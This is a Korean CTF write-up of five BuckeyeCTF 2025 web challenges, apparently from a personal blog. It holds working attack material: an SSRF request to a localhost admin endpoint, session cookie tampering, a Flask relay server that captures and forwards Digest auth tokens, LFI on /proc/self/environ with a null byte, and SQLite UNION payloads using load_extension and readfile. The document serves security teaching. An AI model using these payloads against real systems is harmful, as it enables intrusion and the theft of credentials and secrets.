Introduction
최근 개인적인 일정으로 CTF 대회 참여를 잠시 쉬었다가, 약 3개월 만에 BuckeyeCTF 대회로 복귀하게 되었습니다.
BuckeyeCTF는 오하이오 주립대학교 사이버 보안 클럽 학생들이 운영하는 대회로 3일(@11/8/2025 → 11/10/2025) 동안 진행되었으며, 문제는 웹, 리버싱, 포너블, 암호학 등 다양한 카테고리에서 초보자 친화적인 문제들이 출제되었습니다.
이번 대회의 Web 카테고리에서는 Beginner 문제를 포함해 총 7개의 문제가 출제되었는데, 저는 그중 5개의 문제를 해결했습니다.
그럼 제가 푼 문제들에 대한 Write-Up을 작성하겠습니다.
Challenges
[Beginner] ebg13
V znqr na ncc gung yrgf lbh ivrj gur ebg13 irefvba bs nal jrofvgr!
Python
복사
Description
해당 문제는 URL과 소스코드를 제공하며, URL에 접속하면 다음과 같이 URL을 입력하는 폼이 보입니다.
위 폼에서 URL https://example.com 을 입력하고 submit 버튼을 클릭하면 다음의 화면이 등장합니다.
위 화면에 나오는 텍스트 내용은 이해할 수 없지만, 실제 https://example.com 의 페이지와 유사하게 나오는 것을 알 수 있습니다.
이제 문제에서 주어진 소스코드를 살펴보겠습니다.
소스코드는 Node.js 기반 Fastify 웹 프레임워크로 구현되어 있으며, 3개의 엔드포인트가 존재했습니다.
방금 전 확인한 문제 URL의 화면으로, 사용자가 URL을 입력할 수 있는 폼을 제공합니다. 그리고 해당 폼을 요청할 경우 엔드포인트 /ebj13 로 요청이 발생되며, 입력한 데이터는 URL 파라미터 url 로 전달됩니다.
const INDEX_HTML = `
...
<form action="/ebj13" method="get">
<input type="text" name="url" placeholder="Enter a URL" id="urlInput" />
<button type="submit" class="button">ebj13 it!</button>
</form>
...
`;
fastify.get('/', async (req, reply) => {
return reply.type('text/html').send(INDEX_HTML);
});
JavaScript
복사
사용자로부터 입력받은 url 의 값을 fetch 함수의 인자로 전달하여 요청을 수행합니다. 이후 해당 요청의 응답 데이터는 rot13TextNodes 함수의 인자로 전달되는데,
fastify.get('/ebj13', async (req, reply) => {
const { url } = req.query;
if (!url) {
return reply.status(400).send('Missing ?url parameter');
}
try {
const res = await fetch(url);
const html = await res.text();
const $ = cheerio.load(html);
rot13TextNodes($, $.root());
const modifiedHtml = $.html();
reply.type('text/html').send(modifiedHtml);
} catch (err) {
reply.status(500).send(`Error fetching URL`);
}
});
JavaScript
복사
rot13TextNodes 함수 로직은 다음과 같습니다.
function rot13(str) {
return str.replace(/[a-zA-Z]/g, (c) =>
String.fromCharCode(
c.charCodeAt(0) + (c.toLowerCase() < 'n' ? 13 : -13)
)
);
}
function rot13TextNodes($, node) {
$(node)
.contents()
.each((_, el) => {
if (el.type === 'text') {
el.data = rot13(el.data);
} else {
rot13TextNodes($, el);
}
});
}
JavaScript
복사
즉, 사용자가 입력한 URL의 응답 데이터에서 텍스트 노드를 ROT13 인코딩 방식으로 적용한 후 반환합니다.
해당 엔드포인트의 구현부를 보면 플래그가 담겨져 있으며, 요청한 사용자의 출발지 IP 주소가 로컬호스트인 경우에만 플래그를 반환합니다.
fastify.get('/admin', async (req, reply) => {
if (req.ip === "127.0.0.1" || req.ip === "::1" || req.ip === "::ffff:127.0.0.1") {
return reply.type('text/html').send(`Hello self! The flag is ${FLAG}.`)
}
return reply.type('text/html').send(`Hello ${req.ip}, I won't give you the flag!`)
})
JavaScript
복사
소스코드를 통해 확인한 내용을 정리하자면,
1.
플래그를 획득하기 위해서는 플래그가 담겨있는 엔드포인트 /admin 요청을 서버 자신이 요청을 수행해야 합니다.
2.
그리고 서버 자신이 요청을 수행하기 위해 엔드포인트 /ebj13 의 처리 과정에서 URL 파라미터 url 이 fetch 함수의 인자로 전달되므로 SSRF(Server-Side Request Forgery) 취약점을 이용합니다.
3.
이후 응답 결과는 ROT13 으로 인코딩 되어 있으므로 이를 디코딩하여 결과를 확인합니다.
Solution
문제는 서버가 자기 자신에게 요청하도록 해야 하는데, 이는 /ebj13 엔드포인트에서 fetch 함수가 URL 파라미터 url 로 전달된 데이터를 요청하고 있습니다.
서버는 현재 포트 3000번으로 실행 중이므로, /ebj13 엔드포인트를 요청할 때 URL 파라미터 url에 http://localhost:3000/admin 을 전달해야 합니다.
Exploit
curl 명령어를 통해 엔드포인트 /ebj13 으로 URL 파라미터 url 에 http://localhost:3000/admin 를 담아 아래와 같이 요청을 수행했습니다.
curl https://ebg13.challs.pwnoh.io/ebj13\?url\=http://localhost:3000/admin
Plain Text
복사
이어서 위 응답 데이터는 rot13TextNodes 함수에 의해 ROT13 방식으로 인코딩되어 있으므로, 이를 디코딩하면 다음과 같이 플래그를 획득할 수 있었습니다.(디코딩 URL: https://rot13.com)
[Beginner] Ramesses
Do you dare enter the tomb of Pharaoh Dave Ramesses?
Plain Text
복사
Description
주어진 문제의 URL에 접속하면 아래의 페이지가 등장합니다.
위 페이지의 입력 폼에 임의의 값(Name: test, Password: test)을 입력하고 요청을 수행하자 URL /tomb 으로 리다이렉션되었고, 화면에 "Do you dare enter the tomb of Pharaoh Dave Ramesses?" 라는 메시지가 표시되었습니다.
문제의 소스코드를 살펴보니, 리다이렉션된 URL /tomb 의 엔드포인트 구현부에서 템플릿 tomb.html 을 반환합니다. 이때 템플릿 컨텍스트로 user 와 flag 를 전달하고 있으며, 플래그가 flag 로 전달되는 것을 발견했습니다.
또한, 템플릿 tomb.html 에는 템플릿 컨텍스트로 전달된 user 의 is_pharaoh 가 참인 경우에만 플래그가 조회되는 것을 알 수 있습니다.
Solution
템플릿 tomb.html 에서 템플릿 컨텍스트로 전달된 user 의 is_pharaoh 값이 참인 경우에만 플래그를 확인할 수 있었습니다.
소스코드를 다시 보면 템플릿 컨텍스트 user 는 쿠키 session 을 가져와 Base64로 디코딩된 값이라는 걸 알 수 있습니다.
이후 프록시 도구에 캡처된 HTTP 패킷을 살펴보니, 리다이렉션된 URL /tomb 를 요청할 때 쿠키 session 에 Base64로 인코딩된 값이 포함되어 있었고, 이를 디코딩하니 {"name": "test", "is_pharaoh": false} 값이 담겨 있는 것을 확인할 수 있었습니다.
즉, 디코딩된 값에서 is_pharaoh 를 true 로 변경한 후 Base64로 인코딩하여 쿠키 session 에 담아 URL /tomb를 요청 하면 플래그를 조회할 수 있습니다.
Exploit
프록시 도구를 사용해 쿠키 session 에 Base64로 인코딩된 값에서 is_pharaoh 를 true 로 변경한 후 URL /tomb 를 요청하면, 응답 데이터에 플래그가 포함되어 조회되는 것을 확인할 수 있습니다.
[Web] AUTHMAN
passwords won't save you now NOTE: remote can only connect to ports 80/443
Plain Text
복사
Description
문제에 제공된 URL에 접속하면 다음과 같이 강아지 그림이 등장합니다.
강아지 그림을 클릭하면 새 탭으로 /auth 페이지가 열리며, 인증을 요구하는 페이지가 나타나는데 제공된 정보가 존재하지 않아 401 Unauthorized 응답만 받게됩니다.
이어서 문제에 제공된 소스코드를 살펴보겠습니다.
제공된 소스코드 중 route.py 에는 문제에서 제공하는 엔드포인트 /, /auth, /api/check 의 구현부를 확인할 수 있었습니다.
이 중 엔드포인트 /auth 에서는 @auth.login_required 데코레이터에 의해 인증을 요구하는 것을 알 수 있었으며, 인증에 통과할 경우 auth.html 템플릿에 템플릿 컨텍스트 flag 로 플래그 정보를 전달하는 것을 알 수 있었습니다.
@app.route('/auth',methods=['GET'])
@auth.login_required
def auth():
return render_template("auth.html",flag=app.config['FLAG'])
Python
복사
또한, 엔드포인트 /api/check 에서는 처리 과정에서 requests.get 함수를 호출하고 있습니다.
@app.route('/api/check',methods=['GET'])
def check():
(user, pw), *_ = app.config['AUTH_USERS'].items()
res = requests.get(r.referrer + '/auth',
auth = HTTPDigestAuth(user,pw),
timeout=3
)
return jsonify({'status':res.status_code})
Python
복사
이때, 요청 URL은 r.referrer 를 통해 요청자의 Referer 헤더 값을 가져와 URL을 구성(r.referrer + /auth)하고 있으며, 요청 시 환경설정 값에서 user, pw 값을 가져와 HTTPDigestAuth 를 통해 인증 토큰을 함께 전송하는 것을 확인할 수 있습니다.
따라서, /api/check 를 요청할 때 Referer 헤더 값에 별도로 만든 웹 애플리케이션 서버 주소 담으면 해당 웹 애플리케이션 서버의 엔드포인트 /auth 로 인증 토큰을 전송하게 되며, 이 인증 토큰을 다시 문제 서버의 /auth 로 포워딩하면 됩니다.
Solution
별도로 만든 웹 애플리케이션 서버에 엔드포인트 /auth 를 구현하고,
import requests
from flask import Flask, request, Response
app = Flask(__name__)
@app.route('/auth',methods=['GET'])
def auth():
token = request.headers.get("Authorization", None)
print(f"Authorization: {token}")
return Response("200 OK", 200)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=80, debug=True)
Python
복사
문제 서버의 /api/check 로 요청을 수행할 때, Referer 헤더에 해당 서버 주소를 입력했습니다.
그러나 웹 애플리케이션 서버 로그를 확인해보면 문제 서버로부터 요청을 들어왔으나 인증 토큰은 출력되지 않았습니다.
그 이유는 웹 애플리케이션 서버 코드의 엔드포인트 /auth 는 200 OK 를 응답하고 있으므로,
return Response("Hello", 200) # <-- 200 OK 응답
Python
복사
인증할 필요가 없기 때문에 문제 서버의 엔드포인트 /api/check 에서 요청을 수행할 때 Authorization 에 인증 토큰을 담지 않습니다.
따라서 웹 애플리케이션 서버의 엔드포인트 /auth 에서 401 Unauthorized 응답을 반환하고 헤더에 WWW-Authenticate 를 추가하여 인증 방식과 파라미터를 클라이언트에 지정해줘야 합니다.
헤더 WWW-Authenticate 란?
인증 방식과 파라미터를 서버가 클라이언트에게 지시하는 헤더로, 주로 HTTP 401 Unauthorized 응답과 함께 사용되며, 클라이언트는 이 헤더의 정보를 바탕으로 적절한 인증 정보를 생성하여 재요청합니다.
다시 웹 애프리케이션 서버 코드에서 /auth 구현부를 아래와 같이 수정합니다.
@app.route('/auth',methods=['GET'])
def auth():
token = request.headers.get("Authorization", None)
print(f"Authorization: {token}")
TARGET_URL = "https://authman.challs.pwnoh.io/auth"
if not token:
# 인증토큰(Authorization)을 받기 위해 WWW-Authenticate 헤더를 전송
# 이때, WWW-Authenticate 헤더 값은 문제 서버로 붙어 가져옴.
resp = requests.get(TARGET_URL)
return Response("401 Unauthorized", 401, headers=resp.headers)
return Response("200 OK", 200)
Python
복사
이후 문제 서버의 /api/check 를 다시 요청하면, 문제 서버가 처음에 401 Unauthorized를 받은 후 인증 토큰을 담아 재요청하는 것을 확인할 수 있습니다.
이제 문제 서버로부터 받은 인증 토큰을 문제 서버의 엔드포인트 /auth 로 포워딩하도록 웹 애플리케이션 서버 코드를 수정합니다.(참고로, Cookie 헤더도 같이 전송해야 했습니다.)
@app.route('/auth',methods=['GET'])
def auth():
token = request.headers.get("Authorization", None)
print(f"Authorization: {token}")
TARGET_URL = "https://authman.challs.pwnoh.io/auth"
if not token:
# 인증토큰(Authorization)을 받기 위해 WWW-Authenticate 헤더를 전송
# 이때, WWW-Authenticate 헤더 값은 문제 서버로 붙어 가져옴.
resp = requests.get(TARGET_URL)
return Response("401 Unauthorized", 401, headers=resp.headers)
# 인증 토큰을 담아 문제 서버로 포워딩
resp = requests.get(TARGET_URL,
headers={
"Cookie": request.headers.get("Cookie"), # 세션 쿠키가 담겨 있어야 함.
"Authorization": token
})
print(resp.text)
return Response("200 OK", 200)
Python
복사
Exploit
별도로 만든 웹 애플리케이션 서버의 최종 코드는 다음과 같습니다.
import requests
from flask import Flask, request, Response
app = Flask(__name__)
@app.route('/auth',methods=['GET'])
def auth():
token = request.headers.get("Authorization", None)
print(f"Authorization: {token}")
TARGET_URL = "https://authman.challs.pwnoh.io/auth"
if not token:
# 인증토큰(Authorization)을 받기 위해 WWW-Authenticate 헤더를 전송
# 이때, WWW-Authenticate 헤더 값은 문제 서버로 붙어 가져옴.
resp = requests.get(TARGET_URL)
return Response("401 Unauthorized", 401, headers=resp.headers)
# 인증 토큰을 담아 문제 서버로 포워딩
resp = requests.get(TARGET_URL,
headers={
"Cookie": request.headers.get("Cookie"), # 세션 쿠키가 담겨 있어야 함.
"Authorization": token
})
print(resp.text)
return Response("200 OK", 200)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=80, debug=True)
Python
복사
그리고 /api/check 로 요청을 보낼 때, Referer 헤더에 위 웹 애플리케이션 서버의 주소를 넣어 요청을 수행합니다.
이후 별도로 만든 웹 애플리케이션 서버의 로그를 보면 다음과 같이 플래그가 담겨져있는 것을 확인할 수 있었습니다.
[Web] Awklet
Well this is awkward...
Plain Text
복사
Description
해당 문제의 URL에 접속하면 입력한 텍스트를 선택한 폰트의 아스키 아트로 렌더링하는 페이지가 등장합니다.
위 페이지에서 텍스트를 입력하고 ‘Generate ASCII Art’ 버튼을 클릭하면 URL /cgi-bin/awklet.awk 로 요청이 발생되며, URL 파라미터 name 에는 입력한 텍스트를, font 에는 선택한 폰트가 담겨져 요청이 발생됩니다.
Solution
입력한 텍스트를 아스키 아트로 변환하는 요청 URL /cgi-bin/awklet.awk 에 해당하는 소스코드를 살펴보니 awklet.awk 파일을 확인할 수 있었습니다. 이 파일에서 입력한 텍스트를 아스키 아트로 변환하는 render_ascii 함수를 발견했고, 이 함수가 선택한 폰트를 load_font 함수의 인자 font_name 으로 전달하여 해당 텍스트 파일(font_name ".txt")을 불러오는 것을 확인했습니다.
이때, 인자로 전달되는 font_name 에 대한 필터링을 수행하지 않으므로 LFI 취약점이 발생하게 됩니다.
또한, 플래그 정보는 다음과 같이 docker-compose.yml 파일에 환경변수 FLAG 로 저장되어 있는것을 알 수 있었습니다.
따라서 환경변수가 담겨 있는 파일 /proc/self/environ 를 LFI 취약점을 이용하여 내용을 읽어들이면 플래그를 획득할 수 있습니다.
Exploit
아스키 아트로 변환하는 요청 URL /cgi-bin/awklet.awk 을 요청할 때, 폰트를 지정하는 URL 파라미터 font 에 /proc/self/environ%00 을 입력합니다. 그리고 요청을 수행하면 다음과 같이 플래그 정보를 획득할 수 있었습니다.(여기서 %00 은 문자열의 끝을 의미하는 NUL 이므로 .txt 확장자가 붙더라도 파일 경로가 /proc/self/environ 까지만 읽히게 됩니다.)
[Web] Packages
Explore the world of debian/debian-based packages.
Plain Text
복사
Description
해당 문제는 다음과 같이 패키지를 검색할 수 있는 페이지를 제공하고 있습니다
위 페이지 상단에 있는 입력 폼에 값을 입력하고 ‘Search’ 버튼을 클릭하면 입력 값이 URL 파라미터로 전달되어 입력 값에 해당하는 정보가 조회되는 것을 확인할 수 있었습니다.
입력값에 해당하는 데이터가 조회되는것을 보니 SQL Injection 을 이용한 문제로 보입니다. 다행히 해당 문제에서 소스 코드를 제공하고 있으므로 위 요청 URL의 처리 로직을 한번 살펴보겠습니다.
Solution
문제에서 제공하는 소스 코드를 살펴보니 다음과 같이 사용자로부터 입력 값을 전달 받아 SQL 질의문에 전달되는 것을 알 수 있었습니다. 이때, 입력 값은 필터링을 수행하지 않고 json.dumps 함수로 전달한 결과를 질의문에 그대로 전달하고 있는 것을 알 수 있습니다.
아마 해당 문제는 SQL 관련 특수문자를 필터링하지 않고 큰 따옴표(")를 이스케이프 처리 목적으로 json.dumps 를 사용하는 것으로 보이는데, 이는 SQL Injection을 완전히 방어하지 못합니다.
각 따옴표(case_a 는 큰 따옴표("),case_b 는 작은 따옴표('))에 대해 json.dumps 함수 결과는 다음과 같이 출력됩니다.
>> case_a = "\"큰 따옴표 -- "
>> case_b = "'작은 따옴표 -- "
>> print(f"SELECT * FROM user WHERE name = {json.dumps(case_a)}")
SELECT * FROM user WHERE name = "\"큰 따옴표 -- "
>> print(f"SELECT * FROM user WHERE name = {json.dumps(case_b)}")
SELECT * FROM user WHERE name = "'작은 따옴표 -- "
Python
복사
즉, json.dumps 함수는 문자열을 큰 따옴표(")로 감싸서 반환합니다. 만약 json.dumps 함수로 전달된 값에 큰 따옴표(")가 포함되어 있다면 이스케이프 처리되어 \" 로 반환되지만, 이 값은 SQL 질의상 문자열 리터럴로 전달되어 정상적이지 않은 SQL 구문으로 완성될 수 있습니다.
이를 통해 다음의 페이로드를 입력하여 요청을 수행하니 SQL Injection 취약점이 발생되는 것을 알 수 있었습니다.
"+UNION+SELECT+1,2,3,4--
Plain Text
복사
그리고 문제에서 제공해준 소스 코드에서 플래그는 /app/flag.txt 경로에 존재하므로 파일 읽기 함수를 이용해 플래그를 취득할 수 있습니다.
Exploit
해당 문제는 sqlite3 을 이용하고 있으므로 파일 읽기 함수 readfile 를 이용해볼 수 있습니다.
"+UNION+SELECT+1,readfile('/app/flag.txt'),3,4--
Plain Text
복사
다만, 위 페이로드를 이용할 경우 500 Internal Server Error가 발생됩니다.
그 이유는 readfile 함수가 로드되지 않아 발생되므로 load_extension('/sqlite/ext/misc/fileio') 를 통해 해당 확장을 먼저 로드한 후 readfile 함수를 사용해야 합니다.
"+UNION+SELECT+1,load_extension('/sqlite/ext/misc/fileio'),3,4--
Plain Text
복사
따라서, 위 페이로드를 요청하고 다시 플래그를 획득하는 페이로드를 요청하면 다음과 같이 플래그 정보를 획득할 수 있었습니다.




































